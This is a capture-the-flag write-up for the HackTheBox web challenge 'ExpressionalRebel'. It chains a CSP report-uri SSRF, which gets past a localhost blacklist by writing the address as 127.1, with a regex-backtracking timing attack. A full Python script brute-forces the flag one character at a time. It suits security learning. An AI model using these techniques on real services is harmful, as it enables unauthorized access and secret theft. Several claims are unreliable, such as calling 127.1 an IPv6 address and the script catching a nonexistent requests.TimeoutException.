HTB: ExpressionalRebel

audunmo

Audun Mo

Posted on April 21, 2022

HTB: ExpressionalRebel

ExpressionalRebel is a web challenge on HackTheBox

It's quite an interesting one, because you'll have to combine several different faults in the application to solve it

If you're stuck

If you're stuck and are looking for help, here are a few vague tips that might point you in the right direction, before spoiling yourself with this writeup.

For the IP-check:

  • Look at the handling of report-uri. Are there other ways can you write localhost/127.0.0.1?

For getting the flag

  • Check the expected type of the first parameter to regExp.match

Getting started

ExpressionalRebel contains a node-express app that evaluates CSP

Looking at the code, the first thing I did was just grep for the input for the flag. This reveals that there isn't really one point where the app will output the flag. However, there's a call that compares an input to the flag

router.get('/deactivate',isLocal, async (req, res) => {
    const { secretCode } = req.query;
    if (secretCode){
        const success = await validateSecret(secretCode);
        res.render('deactivate', {secretCode, success});
    } else {
        res.render('deactivate', {secretCode});
    }
});

Enter fullscreen mode Exit fullscreen mode

So this is the closest we can get to the flag. I noticed that the route is protected with the isLocal method, which checks if the caller is itself, so this can only be called from itself.

So, first step is to get to call this endpoint

Calling the endpoint

Playing around with the app, I noticed that the report-uri could be used to call any endpoint I want. This is really fun, because this could be used to defeat the isLocal check on deactivate. However, passing localhost or 127.0.0.1 doesn't work. This stumped me for a long long time.

The localhost filtering on the URLs for report-uri is like this

const isLocalhost = async (url) => {
  let blacklist = [
    "localhost",
    "127.0.0.1",
  ];
  let hostname = parse(url).hostname;
  return blacklist.includes(hostname);
};
Enter fullscreen mode Exit fullscreen mode

Staring at it for ages, it finally struck me. There's an IPv6 version of 127.0.0.1! 127.1! So, passing in report-uri http://127.1/deactivate worked! Or... At least it didn't return the same error as before

So what's happening here is that while the CSP check performs the GET request to /deactivate, it doesn't forward the response. So we don't get to see directly what's going on

Inspecting the code, we can see that it also expects a secretCode query param.

The plot thickens.

Looking at the code for deactivate, we can see that it takes the secretCode query param and forwards it to verifySecret.

const validateSecret = async (secret) => {
  try {
    const match = await regExp.match(secret, env.FLAG)
    return !!match;
  } catch (error) {
    return false;
  }
}
Enter fullscreen mode Exit fullscreen mode

regExp is from the npm package time-limited-regular-expressions

From the definition of .match you can see that it expects a regex as its first parameter. But... That's the one from the user, right? So we can mess with it! Passing the right regex will reveal information about the flag!

But how will we know? We can't get the response damnit...

Or can we?

Exploiting backtracking in regex

At first, it was a bit confusing why they used this time-limited regex things, but this is actually a hint from the author of the challenge.

As it turns out, you can make regexes that take a loooong time to compute. Like several minutes or hours long. So, with a specially constructed regex, we can get some information out

First, we know that the structure of the flag is HTB{\.+}. We also know that regexes have a logical OR, <patter>|<pattern>, and that a left-side match would mean that the right side doesn't get checked. So, what if we constructed a regex like HTB{\w+}|...some sloooooow regex.... If we timed the responses, we could probably figure out which one is getting used!

After trial and error, I landed on this as a succifiently slow right-side of the regex: (?:[^<]+|<(?:[^\/]|\/(?:[^s]))). The key here is that this is doing a bunch of nested look-ahead statements, looking for missing matches. This expensive because it causes backtracking through the string many many times. You can read more about backtracking here

Now, using HTB{\w+} as the left side is only useful to verify our hypothesis. We'd expect HTB{\w+} to resolve really quick, and HTB{\d} to resolve really slow. And 🥁🥁🥁... It works!

Putting it all together

So what have we learned so far

  • We know that passing http://127.1/deactivate as the report-uri part of the CSP bypasses the localhost checks on both endpoints
  • We know that deactivate expects a query param called secretCode, which can be a regex.
  • We know that with crafting special regexes we can reveal if a given regex matches the flag or not by timing the responses

Assembling this information, we know that we want to incur the server to call itself on 127.1/deactivate with a secretCode that's a regex that exactly matches the flag. Since we can tell a hit from a miss with timing, we can brute-force this!

First request would have secretCode:
HTB{a\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))
Then:
HTB{b\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))
Then:
HTB{c\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))
Etc

You can use HTB{\w+} as a benchmark of how quickly a "good" response resolves. I set the timeout to 0.5s, and then ran the following exploit.py file

import requests, re, urllib.parse

eval_endpoint = "http://<YOUR_INDSTANCE_AND_PORT>/api/evaluate"
deactivate_endpoint = "http://127.1:1337/deactivate"

def brute_force_flag():
    alphabet = map(re.escape, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789[]{}/\!@#$%^&*()_+=-<>?")

    # The end here is just a hard-to-compute regex. If the request takes lnger than ~100ms, this means that the right
    # hand side of this regex is being evaluated, and that means that the left side didn't match. 
    regex = ".+|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))*>(?:[^<]+|<(?:[^/]|\/(?:[^s]))*)"

    current_guess = "HTB{"
    while current_guess[::-1][0] != "}":
        for char in alphabet:
            # Concat the current best guess, with the chracter to test, and add the rest of the regex
            guess = current_guess + char + regex

            # Gotta make the secretCode URL safe
            u = deactivate_endpoint + "?secretCode=" + urllib.parse.quote(guess)
            data = {
                "csp": "report-uri " + u + ";"
            }
            try:
                res = requests.post(eval_endpoint, timeout=0.5, data=data)
            except requests.TimeoutException as e:
                # If the request timed out, we missed, so skip to next
                continue

            current_guess = current_guess + char
            print(current_guess)

    print("final guess was " + current_guess)
if __name__ == "__main__":
    brute_force_flag()
Enter fullscreen mode Exit fullscreen mode

After a few minutes of chugging along, it printed me a nice, friendly, flag 🎉

💖 💪 🙅 🚩
audunmo
Audun Mo

Posted on April 21, 2022

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related